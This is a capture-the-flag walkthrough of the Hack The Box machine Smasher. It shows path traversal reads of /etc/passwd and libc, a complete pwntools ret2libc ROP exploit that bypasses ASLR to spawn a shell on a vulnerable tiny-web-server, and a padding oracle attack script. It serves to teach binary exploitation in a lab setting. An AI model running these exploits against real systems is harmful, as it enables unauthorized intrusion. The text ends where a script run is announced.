Tags: hack the box, ROP, padding oracle, BOF, ret2libc, binary exploitation
Smasher was an awesome box! I had to learn more to complete this box (ROP specifically) than any other on HTB so far.
Strap in, this is a long one.
As usual, we start off with a masscan
followed by a targeted nmap
.
masscan -e tun0 -p0-65535,U:0-65535 --rate 700 -oL "masscan.10.10.10.89.all" 10.10.10.89
open tcp 22 10.10.10.89 1534125997
open tcp 1111 10.10.10.89 1534126060
nmap -sC -sV -oA nmap.10.10.10.89 10.10.10.89
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a6:23:c5:7b:f1:1f:df:68:25:dd:3a:2b:c5:74:00:46 (RSA)
| 256 57:81:a5:46:11:33:27:53:2b:99:29:9a:a8:f3:8e:de (ECDSA)
|_ 256 c5:23:c1:7a:96:d6:5b:c0:c4:a5:f8:37:2e:5d:ce:a0 (ED25519)
1111/tcp open lmsocialserver?
| fingerprint-strings:
| FourOhFourRequest, GenericLines, SIPOptions:
| HTTP/1.1 404 Not found
| Server: shenfeng tiny-web-server
| Content-length: 14
| File not found
| GetRequest, HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Server: shenfeng tiny-web-server
| Content-Type: text/html
| <html><head><style>body{font-family: monospace; font-size: 13px;}td {padding: 1.5px 6px;}</style></head><body><table>
| <tr><td><a href="index.html">index.html</a></td><td>2018-03-31 00:57</td><td>2.1K</td></tr>
|_ </table></body></html>
nikto
reported back some interesting things regarding path traversal.
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.89
+ Target Hostname: 10.10.10.89
+ Target Port: 1111
-------------8<-------------
+ /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd: The Web_Server_4D is vulnerable to a directory traversal problem.
+ ///etc/passwd: The server install allows reading of any system file by adding an extra '/' to the URL.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ /../../../../../../../../../../etc/passwd: It is possible to read files on the server by adding ../ in front of file name.
+ /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd: Web server allows reading of files by sending encoded '../' requests. This server may be Boa (boa.org).
+ OSVDB-3133: ////////../../../../../../etc/passwd: Xerox WorkCentre allows any file to be retrieved remotely.
-------------8<-------------
You could also have found this information on github with a quick google. The first result when searching for shenfeng tiny-web-server (the string nmap
gave us) is a link to a GitHub Repository. Opening that up, it appears to be an educational project done by someone while reading along with a programming book. In the same repo, under issues, there is an issue raised that states the server is vulnerable to path traversal.
As a simple PoC, we can request wget 10.10.10.89:1111//etc/passwd
, cat the file that was downloaded, and see that the server is vulnerable.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
-------------8<-------------
With path traversal, we can poke around the server pretty easily in the browser. After a few cursory searches, you’ll notice a folder /home/www/tiny-web-server
with the following contents.
Of note in this directory:
Taking a look at the Makefile, we can see that the binary is compiled without any stack protections. This is a clear indicator that the way forward is likely to be binary exploitation.
1/home/www/tiny-web-server/Makefile
2════════════════════════════
3CC = c99
4CFLAGS = -Wall -O2
5
6# LIB = -lpthread
7
8all: tiny
9
10tiny: tiny.c
11 $(CC) $(CFLAGS) -g -fno-stack-protector -z execstack -o tiny tiny.c $(LIB)
12
13clean:
14 rm -f *.o tiny *~
Knowing that the box creator (dzonerzy) likely grabbed the web server from the aforementioned repository, I thought it would be interesting to see what, if anything, he changed in the source code. I checked it out by running a diff
on both tiny.c files (dzonerzy’s version on the left, github repo’s version on the right).
diff /root/htb/smasher/tiny.c /root/htb/smasher/tiny-web-server/tiny.c
1-------------8<-------------
2> for(int i = 0; i < 10; i++) {
3> int pid = fork();
4> if (pid == 0) { // child
5432d421
6<
7434,437c423
8< if(connfd > -1) {
9< int res = process(connfd, &clientaddr);
10< if(res == 1)
11< exit(0);
12---
13> process(connfd, &clientaddr);
14439,440d424
15< }
16<
17441a426,437
18> } else if (pid > 0) { // parent
19> printf("child pid is %d\n", pid);
20> } else {
21> perror("fork");
22> }
23-------------8<-------------
Aside from putting some identifying strings for nmap
to find, dzonerzy removed a loop that forked the server 10 times to handle incoming connections. The removal of the loop simplifies exploitation for us, which is nice.
The overall strategy we’ll use is one that @ippsec uses in his walk through of the Bitterman challenge from Camp CTF 2015. We’re going to use the write
syscall to display the memory address of a function within libc. Once a memory address from libc is known, we can use that to calculate the base address of libc within the binary. After calculating the base address, we can then determine the memory address of the system
syscall by its offset relative to libc’s base to then execute /bin/sh
. Those are the basic steps we’re about to take.
Before getting into the meat of the exploitation, it’s important to check a few things. First, we want to check the architecture of the binary and whether or not it is statically or dynamically compiled. We also want to know what exploit protection mechanisms are in place.
To check architecture and static vs. dynamic, a simple file tiny
will suffice. As shown below, it is dynamically linked and is a 64-bit binary. The fact that the binary is dynamically linked means that it relies on external libraries to execute.
tiny: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b872377623aa9e081bc7d72c8dbe882f03bf66b7, with debug_info, not stripped
We can check the protections by running the checksec
command included in peda, a gdb
enhancement script.
gdb -q ./tiny
-------------8<-------------
gdb-peda$ checksec
1CANARY : disabled
2FORTIFY : ENABLED
3NX : disabled
4PIE : disabled
5RELRO : Partial
The output above confirms what we saw in the Makefile. The stack does not have the Non-eXecutable flag set, meaning that if we chose to, we could execute shellcode from the stack.
Our only other consideration before we begin is Address Space Layout Randomization (ASLR). ASLR is a protection in the kernel that loads segments of programs at different locations each time a program executes. ASLR was introduced into the kernel as a way to harden the operating system against exploitation. Since we can’t know whether the remote system has ALSR enabled, we’ll assume that it does (the norm is to see distros ship with ASLR on by default).
Another google search about possible exploitation of the tiny web server yields a Proof of Concept we can use as a skeleton for our own exploit after confirming that it actually crashes the service.
The PoC is straight forward, it sends 658 X’s in a GET request to the server.
1import httplib,sys
2
3if (len(sys.argv) < 3):
4 print "\nTiny HTTP Server <=v1.1.9 Remote Crash PoC"
5 print "\n Usage: %s <host> <port> \n" %(sys.argv[0])
6 sys.exit()
7
8payload = "X" * 658
9
10try:
11 print "\n[!] Connecting to %s ..." %(sys.argv[1])
12 httpServ = httplib.HTTPConnection(sys.argv[1] , int(sys.argv[2]))
13 httpServ.connect()
14 print "[!] Sending payload..."
15 httpServ.request('GET', "/" + str(payload))
16 print "[!] Exploit succeed. Check %s if crashed.\n" %(sys.argv[1])
17except:
18 print "[-] Connection error, exiting..."
19
20httpServ.close()
21sys.exit()
To test the PoC we’ll start up tiny using gdb
. gdb will allow us to examine the state of the stack and registers when the program (hopefully) crashes.
Window 1 - Run tiny using gdb
════════════════════════════
gdb -q ./tiny
-------------8<-------------
gdb-peda$ r
Starting program: /root/htb/smasher/tiny
listen on port 9999, fd is 3
Window 2 - grab PoC code and throw it
════════════════════════════
searchsploit -m 18524
python 18524.py 127.0.0.1 9999
Our PoC successfully crashes the server. We can see that multiple registers contain nothing but X’s. Also, we can see that we’re in control of what gets placed on the stack.
Armed with a PoC, we can determine the offset to reach the top of the stack. If you’re familiar with 32-bit binary exploitation, it may be surprising that we’re not targeting the instruction pointer, RIP
(64-bit equivalent of EIP
). We’re going to craft our exploit using Return-Oriented Programming (ROP). More specifically, we’re going to craft a ret2libc exploit.
When using ROP, the goal is to use existing instructions within the binary to perform desirable actions. Those pieces of existing code are known as rop gadgets. Each rop gadget will terminate in a ret
instruction. Each ret
instruction moves program control to a return address located on the top of the stack. Since we can control what code is placed at the top of the stack with our PoC, we can chain multiple rop gadgets together, because each gadget will move program execution to the start of the next gadget. Essentially, the top of the stack takes the place of our instruction pointer.
For a more detailed look at how ROP is structured, take a Return Oriented Programming (ROP) Exploits Explained. The video discusses Windows exploitation, but the concept of how gadgets control execution via the stack is explained well.
To determine how many bytes of garbage we need to send before we get to the stack, we can utilize the pattern_create.rb
script from metasploit to generate a new payload for use in our PoC.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 658
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8A
The only change needed to our PoC is to comment out the payload of 658 X’s and replace it with our newly generated payload.
1#payload = "X" * 658
2payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8A'
When we throw the modified PoC, we want to use gdb/peda to examine the first four characters at the top of the stack. Next, we’ll feed those to the pattern_offset.rb
script. This script will tell us how many bytes of junk we need to use in our exploit before we start overwriting the stack, i.e. the offset.
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q s9At
[*] Exact match at offset 568
Now that we know how many bytes it takes to reach the stack, we can start placing rop gadgets onto the stack to do our bidding. Our bidding in this case is to perform a Ret2PLT attack in order to leak a memory address from within libc. The question then becomes, which rop gadgets to we need? To answer that, we need to look at x86_64 bit calling conventions to understand the way forward.
To pass parameters to a syscall, up to six registers may be used. They are shown below in the order in which they need to be populated. The syscall number itself is normally stored in rax
, however we will just use the memory address of the syscall itself directly.
rdi | rsi | rdx | rcx | r8 | r9 |
---|
To actually perform a syscall, we need to populate some of these registers with the arguments we want to pass to the syscall.
Having looked at calling conventions, let’s make a plan for what we need to put into the registers in order to make a successful call to write
. Below, you can see the function definition of write
and what we’ll attempt to put into rdi
and rsi
.
To begin building our first ROP chain, we’ll get the address of the write
syscall from the Procedure Linkage Table (PLT). The PLT is used to call external procedures/functions whose address isn’t known at the time of linking, and is left to be resolved by the dynamic linker at run time (recall that this binary is dynamically linked). The PLT is used in conjunction with the Global Offset Table (GOT) to implement dynamic linking. For more information on how dynamic libraries work in ELF files, please check out this fantastic post on the subject.
objdump -D tiny | grep write
objdump options used:
-D, --disassemble-all
disassemble the contents of all sections, not just those expected to contain instructions.
The results of objdump
show that the PLT address of write
is 400c50.
0000000000400c50 <write@plt>:
400c50: ff 25 e2 23 20 00 jmpq *0x2023e2(%rip) # 603038 <write@GLIBC_2.2.5>
write
will be the first value we place onto the stack (this will eventually make it the furthest from the top of the stack after the other registers are setup).
We’ll start with finding a gadget for rdi. We’ll use the ropsearch
command in peda to locate a gadget. The most direct gadget for getting a value into rdi
is a pop rdi
, so that’s what we’ll try for first.
gdb -q tiny
gdb-peda$ break main
gdb-peda$ run
gdb-peda$ peda ropsearch "pop rdi"
10x004011dd : (b'5fc3') pop rdi; ret
20x00401202 : (b'5fc3') pop rdi; ret
30x00401d36 : (b'5fc3') pop rdi; ret
40x00401ff3 : (b'5fc3') pop rdi; ret
Success! A pop
instruction loads the value from the top of the stack to the location specified and then increments the stack pointer. In our case, we’re specifying rdi
as the destination. Simply put, we’ll use this gadget to grab the value at the top of the stack and store it in rdi
. Any of the gadgets returned will work, we’ll just use the first one though.
The value we want to pop
from the stack into rdi
is 0x4
. When tiny
is run locally, we see the message listen on port 9999, fd is 3
printed to the screen. fd in this case stands for file descriptor. Since we know that the server’s file descriptor at startup is 3, it’s a reasonable assumption that each request to the server increments the file descriptor by one.
Taking rdi
and 0x4
into account, our stack will look like this:
Next up, we need to search for a gadget that will allow us to get a value into rsi
.
gdb-peda$ peda ropsearch "pop rsi"
Searching for ROP gadget: 'pop rsi' in: binary ranges
0x004011db : (b'5e415fc3') pop rsi; pop r15; ret
0x00401200 : (b'5e415fc3') pop rsi; pop r15; ret
-------------8<-------------
Success again! We have a pop rsi
. The interesting piece here is that our gadget will pull two values off the stack. The first value will go into rsi
, the other will to into r15
. Luckily, we don’t care about r15
and can just jam some garbage in there.
The value we want to load into rsi
is the address of a syscall from the Global Offset Table (GOT). The Global Offset Table is a table of addresses stored in the data section of an ELF binary. It is used by the executed program to locate addresses that aren’t known at compile time (i.e. those that are dynamically linked). In our case we’ll use the read
syscall from libc, whose address is located in the GOT, as our value for rsi
.
We can locate the address of read
the same way we found write
.
objdump -D tiny | grep read
0000000000400cf0 <read@plt>:
400cf0: ff 25 92 23 20 00 jmpq *0x202392(%rip) # 603088 <read@GLIBC_2.2.5>
With address in hand, we can take another look at our stack.
It’s time to go back to our PoC and alter the payload to hopefully see the memory address of read
returned to us from tiny. However, instead of altering our original PoC, we’re going to use pwntools for the rest of the exploit. It has a lot of built-in functionality to make our lives easier.
1import urllib
2from pwn import *
3
4context.bits = 64
5context.arch = 'amd64'
6context.endian = 'little'
7context.log_level = 'debug' # increase verbosity!
8
9host = '127.0.0.1'
10port = 9999
11
12pop_rsi = p64(0x4011db)
13read_got = p64(0x603088)
14r15_junk = p64(0xdeadbeef)
15pop_rdi = p64(0x4011dd)
16file_descriptor = p64(0x4)
17write_plt = p64(0x400c50)
18
19client = remote(host, port)
20
21# distance to the stack
22payload = 'A' * 568
23
24# our ROP chain as discussed above
25payload += pop_rsi
26payload += read_got
27payload += r15_junk
28payload += pop_rdi
29payload += file_descriptor
30payload += write_plt
31
32url = """GET /{} HTTP/1.1\r\nHost: smasher.htb\r\n\r\n""".format(urllib.quote(payload))
33
34client.send(url)
35
36response = client.recvall()
There’s not a whole lot introduced in the script that hasn’t been discussed already. The p64()
function is just converting our memory addresses into little-endian 64-bit values for use in our ROP chain.
The other primay change is is that we’re using urllib.quote
to encode our payload so that it plays nicely within the context of an HTTP request.
Running the new exploit script gets us some results.
[+] Opening connection to 127.0.0.1 on port 9999: Done
[DEBUG] Sent 0x2e9 bytes:
'GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%DB%11%40%00%00%00%00%00%880%60%00%00%00%00%00%EF%BE%AD%DE%00%00%00%00%DD%11%40%00%00%00%00%00%04%00%00%00%00%00%00%00P%0C%40%00%00%00%00%00 HTTP/1.1\r\n'
'Host: smasher.htb\r\n'
'\r\n'
[+] Receiving all data: Done (1.39KB)
[DEBUG] Received 0x590 bytes:
00000000 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 │HTTP│/1.1│ 404│ Not│
00000010 20 66 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 │ fou│nd··│Serv│er: │
00000020 73 68 65 6e 66 65 6e 67 20 74 69 6e 79 2d 77 65 │shen│feng│ tin│y-we│
00000030 62 2d 73 65 72 76 65 72 0d 0a 43 6f 6e 74 65 6e │b-se│rver│··Co│nten│
00000040 74 2d 6c 65 6e 67 74 68 3a 20 31 34 0d 0a 0d 0a │t-le│ngth│: 14│····│
00000050 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 c0 d1 │File│ not│ fou│nd··│
00000060 e4 45 cc 7f 00 00 30 6a d8 45 cc 7f 00 00 16 0d │·E··│··0j│·E··│····│
00000070 40 00 00 00 00 00 26 0d 40 00 00 00 00 00 70 aa │@···│··&·│@···│··p·│
00000080 d9 45 cc 7f 00 00 46 0d 40 00 00 00 00 00 00 07 │·E··│··F·│@···│····│
-------------8<-------------
[*] Closed connection to 127.0.0.1 port 9999
It seems that we’re getting more than a standard 404 returned to us. The standard 404 response ends with the string File not found
. We can utilize the .recvuntil()
function within pwntools to skip ahead in the response. Let’s use that and then examine the 8 bytes after the response to check whether or not looks like a memory address.
client.recvuntil("File not found")
response = client.recv()
leak = response[:8]
print repr(leak)
And we’re greeted with something that looks suspiciously like a memory address (albeit still in little endian).
-------------8<-------------
'P\x02\x06\xf9&\x7f\x00\x00'
-------------8<-------------
We can clean up those last few lines and use the u64()
function to unpack the memory address we snagged from the repsonse.
38client.recvuntil("File not found") # read up to the end of the normal 404 response
39response = client.recv() # read the additional response data created by our exploit
40
41leak = response[:8] # the leaked memory address
42read_address = u64(leak) # unpack it from little endian
43
44log.success("read address is: {}".format(hex(read_address))) # prettify it
45
46# tear down leak connection
47client.close()
[+] read address is: 0x7fcc45e4d1c0
We have successfully leaked the memory address of the read
syscall. If you restart tiny
and throw the exploit again locally, you can see that the address changes each time the process is restarted, but we’re able to capture it each time.
[+] read address is: 0x7f54aa15b1c0
... restart ...
[+] read address is: 0x7f0b788a81c0
... restart ...
[+] read address is: 0x7fc20d39c1c0
Now that we have an address into libc, the randomised (ASLR) libc base address can be calculated. Once we know what the base address is, the address of any function in libc can be calculated by its offset and used in our next ROP chain. We’ll leverage that to execute the system
syscall, which is a part of libc. Additionally, for this ROP chain, we’re going to harness the power of pwntools to show how some of our earlier manual steps can be simplified.
Let’s begin by grabbing the target’s version of libc, since that is what the tiny
web server on smasher will be using when we throw our exploit.
wget http://10.10.10.89:1111//lib/x86_64-linux-gnu/libc.so.6 -O targets-libc
Now we can start piecing together what we need to get libc’s base address for use in calculating offsets. Let’s grab the address of read
from within libc (not to be confused with the address of read
from within tiny
, which is what we just leaked above).
readelf -s targets-libc | grep read
-------------8<-------------
891: 00000000000f7250 90 FUNC WEAK DEFAULT 13 read@@GLIBC_2.2.5
readelf options used:
-s, --symbols, --syms
Displays the entries in symbol table section of the file, if it has one.
We’ll use that address to calculate the base address of libc.
46client.close() # tear down leak connection
47
48libc_read = 0x0f7250
49
50# gets offset that will be constant for all other libc functions
51offset = read_address - libc_read
52log.info("base libc address is: {}".format(hex(offset)))
Next, we need to determine the address of a few functions we’re interested in as well as the string /bin/sh
. As seen earlier, we’ll be using the target’s libc to find these addresses. First up, we’ll check out a manual way to get those addresses.
-------------8<-------------
readelf -s targets-libc | grep system
1351: 0000000000045390 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
-------------8<-------------
readelf -s targets-libc | grep dup2
962: 00000000000f7970 33 FUNC WEAK DEFAULT 13 dup2@@GLIBC_2.2.5
-------------8<-------------
strings -t x targets-libc | grep /bin/sh
18cd57 /bin/sh
strings options used:
-t radix
Print the offset within the file before each string. The single character argument
specifies the radix of the offset
o for octal
x for hexadecimal
d for decimal
We can get the same results with the following code using pwntools’ ELF class. However, in order to make the addresses usable, we need to update the libc
variable’s base address to be that of our calculated offset. Doing this allows us to seamlessly use all of the addresses we pull out of the targets-libc
later in our code.
NOTE: Special thanks to the awesome @elkement are in order for pointing out that I forgot to include this small but crucial detail in the write-up!
Having set the base address in the libc
variable, future uses of the addresses will be equivalent to offset + address
.
54libc = ELF('./targets-libc')
55
56libc.address = offset
57
58libc_read = libc.sym.read # 0x0f7250
59libc_system = libc.sym.system # 0x045390
60libc_dup2 = libc.sym.dup2 # 0x0f7970
61libc_binsh = next(libc.search("/bin/sh")) # 0x18cd57
It’s time to build out another ROP chain. Here’s where the magic of pwntools really ramps up.
Executing /bin/sh
won’t do us much good if our file descriptors don’t send and receive data. We can use dup2
to get our file descriptors situated.
Here is the prototype for dup2
. The dup2()
system call creates a copy of the file descriptor oldfd using the file descriptor number specified in newfd as its target.
int dup2(int oldfd, int newfd);
We’re going to lean on the pwntools ROP class and some of its methods to easily setup our dup2
calls.
63tiny = ELF('./tiny')
64rop = ROP(tiny)
65
66rop.call(libc_dup2, [0x4, 0x0]) # STDIN
67rop.call(libc_dup2, [0x4, 0x1]) # STDOUT
68rop.call(libc_dup2, [0x4, 0x2]) # STDERR
That’s it! A quote from the docs enlightens us a little bit as to what’s going on, but essentially, the act of setting up our own ROP chain is abstracted away. Each rop.call
takes the function we want to call and the arguments we want to pass to that function.
For amd64 binaries, the registers are loaded off the stack. Pwntools can do basic reasoning about simple “pop; pop; add; ret”-style gadgets, and satisfy requirements so that everything “just works”.
By including a print rop.dump()
in our code, we can view the gadgets generated as a result of our three calls to rop.call()
.
0x0000: 0x4011db pop rsi; pop r15; ret
0x0008: 0x0 [arg1] rsi = 0
0x0010: 'eaaafaaa' <pad r15>
0x0018: 0x4011dd pop rdi; ret
0x0020: 0x4 [arg0] rdi = 4
0x0028: 0x7f06c4725970
0x0030: 0x4011db pop rsi; pop r15; ret
0x0038: 0x1 [arg1] rsi = 1
0x0040: 'qaaaraaa' <pad r15>
0x0048: 0x4011dd pop rdi; ret
0x0050: 0x4 [arg0] rdi = 4
0x0058: 0x7f06c4725970
0x0060: 0x4011db pop rsi; pop r15; ret
0x0068: 0x2 [arg1] rsi = 2
0x0070: 'daabeaab' <pad r15>
0x0078: 0x4011dd pop rdi; ret
0x0080: 0x4 [arg0] rdi = 4
0x0088: 0x7f06c4725970
For reference, here is the system
syscall prototype. The system()
syscall uses fork
to create a child process that executes the shell command specified in command using execl
.
int system(const char *command);
Let’s magic ourselves up the rest of our ROP chain.
70rop.call(libc_system, [libc_binsh])
To finish things out, we’ll use pwntools’ fit function. fit
is inserting our final ROP chain at the offset 568, ezpz.
72payload = fit({568: rop.chain()})
73
74url = """GET /{} HTTP/1.1\r\nHost: secnotes.htb\r\n\r\n""".format(urllib.quote(payload))
75
76client = remote(host, port)
77client.send(url)
78client.recvuntil("File not found")
79client.interactive()
80client.close()
With everything in place, we can throw our exploit at the server. If all goes well, we’ll get an interactive shell on the box.
[*] Ret2PLT
[+] Opening connection to 10.10.10.89 on port 1111: Done
[+] read address is: 0x7fc0e22ca250
[*] Closed connection to 10.10.10.89 port 1111
[*] Ret2libc
[*] '/root/htb/smasher/wgettest/targets-libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/root/htb/smasher/wgettest/tiny'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
FORTIFY: Enabled
[*] base libc address is: 0x7fc0e21d3000
[*] Loaded cached gadgets for './tiny'
0x0000: 0x4011db pop rsi; pop r15; ret
0x0008: 0x0 [arg1] rsi = 0
0x0010: 'eaaafaaa' <pad r15>
0x0018: 0x4011dd pop rdi; ret
0x0020: 0x4 [arg0] rdi = 4
0x0028: 0x7fc0e22ca970
0x0030: 0x4011db pop rsi; pop r15; ret
0x0038: 0x1 [arg1] rsi = 1
0x0040: 'qaaaraaa' <pad r15>
0x0048: 0x4011dd pop rdi; ret
0x0050: 0x4 [arg0] rdi = 4
0x0058: 0x7fc0e22ca970
0x0060: 0x4011db pop rsi; pop r15; ret
0x0068: 0x2 [arg1] rsi = 2
0x0070: 'daabeaab' <pad r15>
0x0078: 0x4011dd pop rdi; ret
0x0080: 0x4 [arg0] rdi = 4
0x0088: 0x7fc0e22ca970
0x0090: 0x4011dd pop rdi; ret
0x0098: 0x7fc0e235fd57 [arg0] rdi = 140466405637463
0x00a0: 0x7fc0e2218390
[+] Opening connection to 10.10.10.89 on port 1111: Done
[*] Switching to interactive mode
$ id
uid=1000(www) gid=1000(www) groups=1000(www)
\o/ - access level: www
As a side note, we can see that ASLR was enabled. Our exploit bypassed ASLR on the target. Highfive!
cat /proc/sys/kernel/randomize_va_space
2
Looking at the running processes on the box, we’re greeted with the following.
sudo -u smasher /home/smasher/socat.sh
\_ bash /home/smasher/socat.sh
\_ socat TCP-LISTEN:1337,reuseaddr,fork,bind=127.0.0.1 EXEC:/usr/bin/python /home/smasher/crackme.py
To dial into the box on localhost, I setup a socat
listener.
./socat tcp-listen:1337,fork,reuseaddr tcp:127.0.0.1:1337 &
Connecting to our socat listener on 1337
, we see the folowing.
[*] Welcome to AES Checker! (type 'exit' to quit)
[!] Crack this one: irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==
Insert ciphertext:
A few random entries show this result:
Generic error, ignore me!
After a little bit of simple fuzzing, we see this (reproducible with 64 A’s):
Invalid Padding!
Based on those two messages, it appears that we’re dealing with a padding oracle.
All that’s really needed for a Padding Oracle Attack to succeed (in addition to a vulnerable program) is the ability to determine the difference between valid and invalid padding. If you can elicit both of those responses from the vulnerable program, you’re good to go. Fortunately for us, we’ve already seen both of those responses.
When most CTF junkies hear padding oracle, they think of padbuster. In this particular situation, we’re not dealing with HTTP, so padbuster won’t be of use to us. We need something a bit more flexible, such as python-paddingoracle!
Taking the example from the README in the github repository, all we need to do is alter the example to make our subclass of PaddingOracle understand what is and is not an invalid padding response from the server.
I added a few other options and improvements to the example to ease testing during development. You can see the implementation below and at my repo HTB Scripts for Retired Boxes.
1from __future__ import print_function
2
3import socket
4import logging
5import argparse
6
7from base64 import b64encode, b64decode
8from urllib import quote, unquote
9
10from paddingoracle import BadPaddingException, PaddingOracle
11
12BUFLEN = 256
13
14
15class PadBuster(PaddingOracle):
16 def __init__(self, args, **kwargs):
17 super(PadBuster, self).__init__(**kwargs)
18 self.args = args
19
20 def oracle(self, data, **kwargs):
21 attempt = b64encode(data)
22
23 sock = socket.create_connection((self.args.target, self.args.port))
24
25 resp = ""
26 while True:
27 if 'Insert ciphertext' in resp:
28 break
29 resp = sock.recv(BUFLEN)
30
31 sock.send(attempt + '\n')
32
33 resp = sock.recv(BUFLEN)
34
35 if 'Invalid Padding' in resp:
36 raise BadPaddingException
37
38 logging.debug('Got one: {}'.format(attempt))
39
40
41if __name__ == '__main__':
42 parser = argparse.ArgumentParser()
43
44 parser.add_argument('-b', '--blocksize', help='block size', choices=[8, 16], default=8, type=int)
45 parser.add_argument('-p', '--port', help="oracle's port", default=1337, type=int)
46 parser.add_argument('-l', '--loglevel', help='logging level (default=DEBUG)', default='DEBUG',
47 choices=['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL'])
48 parser.add_argument('ciphertext', help="ciphertext to crack")
49 parser.add_argument('target', help="oracle's ip address")
50
51 args = parser.parse_args()
52
53 logging.basicConfig(level=args.loglevel)
54
55 padbuster = PadBuster(args)
56
57 encrypted_text = b64decode(unquote(args.ciphertext))
58
59 plaintext = padbuster.decrypt(encrypted_text, block_size=args.blocksize, iv=bytearray(8))
60
61 print('Decrypted ciphertext: {} => {!r}'.format(args.ciphertext, plaintext))
Let’s look at a run of the script (if you do this yourself, heads-up, it takes quite awhile to run).
